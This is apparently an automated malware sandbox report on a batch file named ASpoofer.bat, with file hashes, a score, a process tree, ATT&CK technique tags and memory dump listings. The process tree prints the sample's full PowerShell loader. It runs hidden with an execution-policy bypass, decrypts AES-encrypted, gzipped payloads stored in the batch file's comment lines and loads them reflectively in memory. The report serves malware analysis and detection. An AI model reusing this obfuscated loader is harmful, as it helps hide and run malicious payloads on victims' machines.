410e2db30b4e8a57933ee02c30a1dbbefd1d5572ce30153c0a4db927123df67b

Analysis

max time kernel
120s
max time network
127s
platform
windows7_x64
resource
win7-20241010-en
resource tags

arch:x64arch:x86image:win7-20241010-enlocale:en-usos:windows7-x64system
submitted
25-01-2025 20:18

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General

Target

ASpoofer.bat
Size

412KB
MD5

b4072c48624667e139963c777247f52c
SHA1

d5f1a4d22c85458253d4572f9ab89b2a20f31a9c
SHA256

410e2db30b4e8a57933ee02c30a1dbbefd1d5572ce30153c0a4db927123df67b
SHA512

d080e2dfd3189c45cf56dc9e7483c4a7302a204abcb2d17cce93c4c814366ea4cbd44b98e0d887dcfafb7eaef6156b1813eee360201df3ff1e20ad0b34f10867
SSDEEP

12288:oAnKKFTbWZb6pfT0ctJ0CM+8GmsGaFltmFy3:oA5bWZ2dn0C/7iY

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2784	powershell.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2784	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2784	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2908 wrote to memory of 2792	2908	cmd.exe	31
PID 2908 wrote to memory of 2792	2908	cmd.exe	31
PID 2908 wrote to memory of 2792	2908	cmd.exe	31
PID 2792 wrote to memory of 2224	2792	net.exe	32
PID 2792 wrote to memory of 2224	2792	net.exe	32
PID 2792 wrote to memory of 2224	2792	net.exe	32
PID 2908 wrote to memory of 2784	2908	cmd.exe	33
PID 2908 wrote to memory of 2784	2908	cmd.exe	33
PID 2908 wrote to memory of 2784	2908	cmd.exe	33

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\ASpoofer.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2908
- C:\Windows\system32\net.exe
  net file
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\system32\net1.exe
    C:\Windows\system32\net1 file
    3⤵
    PID:2224
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('4QckMW/d0RHFEz78g/IF+wxPuEC8wYXsS9DpIlDAv2s='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('83AsJ46ibSIDFQYQt7U5Lg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $csNtZ=New-Object System.IO.MemoryStream(,$param_var); $fVZlA=New-Object System.IO.MemoryStream; $BjErP=New-Object System.IO.Compression.GZipStream($csNtZ, [IO.Compression.CompressionMode]::Decompress); $BjErP.CopyTo($fVZlA); $BjErP.Dispose(); $csNtZ.Dispose(); $fVZlA.Dispose(); $fVZlA.ToArray();}function execute_function($param_var,$param2_var){ $PtQUF=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $xBHIV=$PtQUF.EntryPoint; $xBHIV.Invoke($null, $param2_var);}$host.UI.RawUI.WindowTitle = 'C:\Users\Admin\AppData\Local\Temp\ASpoofer.bat';$NjhJG=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\ASpoofer.bat').Split([Environment]::NewLine);foreach ($PiPhj in $NjhJG) { if ($PiPhj.StartsWith(':: ')) { $IMbBZ=$PiPhj.Substring(3); break; }}$payloads_var=[string[]]$IMbBZ.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0])));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1])));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] (''));
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2784

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2784-4-0x000007FEF59DE000-0x000007FEF59DF000-memory.dmp

Filesize
4KB

Download
memory/2784-5-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-6-0x000000001B220000-0x000000001B502000-memory.dmp

Filesize
2.9MB

Download
memory/2784-7-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-8-0x0000000002670000-0x0000000002678000-memory.dmp

Filesize
32KB

Download
memory/2784-9-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download
memory/2784-10-0x000007FEF5720000-0x000007FEF60BD000-memory.dmp

Filesize
9.6MB

Download